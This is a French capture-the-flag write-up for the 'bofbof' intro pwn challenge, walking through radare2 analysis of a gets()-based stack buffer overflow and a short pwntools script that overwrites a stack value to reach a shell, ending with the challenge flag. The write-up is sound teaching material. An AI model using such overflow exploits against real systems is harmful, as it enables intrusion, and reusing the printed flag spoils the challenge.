Solution de aripoteur pour bofbof

intro pwn x86/x64

5 janvier 2024

Introduction

Le titre du challenge nous donne un indice : il va surement s’agir d’un buffer overflow.

Nous exécutons le binaire pour voir comment il fonctionne.

bof_bof_7

Il demande à l’utilisateur d’entrer une valeur et c’est tout :/. Nous pouvons essayer de valider notre hypothèse de buffer overflow en entrant plein de caractères pour causer une erreur de segmentation.

bof_bof_8

Yes ! Nous avons même une indication que nous sommes sur le bon chemin.

Analysons le binaire fourni avec radare2.

r2 -AA ./bofbof

Nous utilisons la commande afl pour afficher les fonctions. La fonction main est présente, mais nous pouvons aussi remarquer une intrigante fonction sym.vuln.

bof_bof_1

Nous allons nous positionner sur la fonction main et l’afficher avec les commandes suivantes :

  • s main
  • V

bof_bof_2

Nous voyons que la fonction sym.vuln est appelée dans la fonction main. Nous allons ensuite nous positionner sur la fonction sym.vuln.

  • s vuln

bof_bof_4

Cette fonction appelle la fonction system et exécute /bin/sh. Elle ouvre un shell.

Analyse du code assembleur

Voici comment s’exécute la fonction main :

  • sub rsp, 0x30 -> réserve 48 octets sur la pile.
  • movabs rax, 0x4141414141414141-> charge le registre rax avec la valeur AAAAAAAA en hexadécimal.
  • mov qword [var_8h], rax -> charge la valeur de rax à l’adresse vers laquelle pointe la variable var_8h, qui sera ici dans la pile (tout en haut de la fonction, var_8h est à l’adresse rbp-0x8).
  • lea rdi, str.Comment_est_votre_blanquette -> la chaîne de caractères est stockée dans le registre rdi.
  • La fonction printf est appelée pour l’afficher.
  • La fonction gets, vulnérable aux buffer overflows, est appelée pour prendre l’entrée de l’utilisateur. La fonction gets ne vérifie pas la taille de l’entrée de l’utilisateur. Cette fonction est donc à proscrire.

bof_bof_3

  • movabs rax, 0x4141414141414141 -> la valeur représentant AAAAAAAA en hexadécimal est encore une fois chargée dans rax.
  • cmp qword [var_8h], rax -> une comparaison est réalisée entre la valeur à l’adresse var_8h (dans la pile, qui contient AAAAAAAA) et rax (AAAAAAAA).
    • je 0x121c -> si les deux valeurs sont égales, alors le programme saute à l’adresse 0x121c, donc à la fin du programme.
    • Sinon, il passe à la ligne suivante.
  • movabs rax, 0x1122334455667788 -> cette valeur est chargée dans le registre rax.
  • cmp qword [var_8h], rax -> la comparaison est réalisée.
    • jne 0x1210 -> si les deux valeurs ne sont pas identiques, le programme va sauter à cette adresse et afficher le message Almost there! avec la méthode puts et sortir du programme.
    • Sinon, il appelle la fonction sym.vuln -> elle lance un shell dans la machine cible.

Création de l’exploit

L’analyse de l’assembleur nous montre clairement la marche à suivre : utiliser la méthode gets pour effectuer notre buffer overflow et donc écrire sur la pile. La valeur située à l’adresse var_8h est sur la pile et est utilisée pour toutes les comparaisons précédentes. Il s’agit de la valeur que nous devons modifier. Nous savons aussi que le programme a réservé 48 octets sur la pile, c’est donc ici que seront écrites toutes nos valeurs. Nous allons déboguer le programme pour voir comment se comporte la pile et concevoir notre exploit.

  • r2 -AA -d ./bofbof

Nous ajoutons un point d’arrêt sur notre fonction main et lançons le programme :

  • db main
  • dc

Après l’exécution de l’instruction sub, nous pouvons voir que des octets ont été réservés sur la pile (à droite). bof_bof_5

Après l’exécution de l’instruction mov qword, la pile stocke désormais la valeur AAAAAAAA. bof_bof_6

Après l’exécution de l’instruction call sym.imp.gets avec une entrée plus longue que 48 caractères, nous pouvons voir que nous avons écrit sur la pile et surtout sur var_8h qui contenait AAAAAAAA. bof_bof_9

Nous avons tout ce qu’il nous faut : var_8h est située sur les derniers 8 octets de l’emplacement réservé (48 octets). Nous devons donc remplir notre buffer avec 48 - 8 = 40 octets. Nous pourrons alors entrer pour les 8 octets restants la valeur 0x1122334455667788 pour, comme vu plus haut, valider la comparaison et appeler la fonction sym.vuln -> lancer un shell.

Nous allons coder tout cela en python avec la librairie pwntools.

#!/usr/bin/env python
from pwn import *

con = remote("localhost", 4000) # connexion au conteneur distant
#con = process("./bofbof") # utiliser pour s'attacher directement au binaire en local

data_ = con.recv(4096)
print(data_.decode())
payload = b"X"*40 + p64(0x1122334455667788)+b"\n" # le payload décrit plus haut.

print("payload to send =>",payload)

con.send(payload) # envoi du payload

con.interactive() # l'exécution devient interactive

# con.close()

Nous exécutons le programme -> nous avons accès au shell et donc au flag ! bof_bof_10

FLAG : FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}